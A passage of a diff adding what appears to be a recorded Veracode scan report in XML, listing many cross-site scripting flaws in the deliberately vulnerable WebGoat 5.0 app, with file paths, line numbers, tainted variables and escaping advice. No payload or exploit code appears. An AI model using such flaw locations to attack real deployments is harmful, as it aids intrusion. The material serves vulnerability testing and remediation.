+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"194\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"64\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"171\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"65\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"31\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"116\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"155\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"189\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"69\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"179\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"32\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"145\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.htmlEncode().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"73\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"40\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"76\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"119\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"98\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
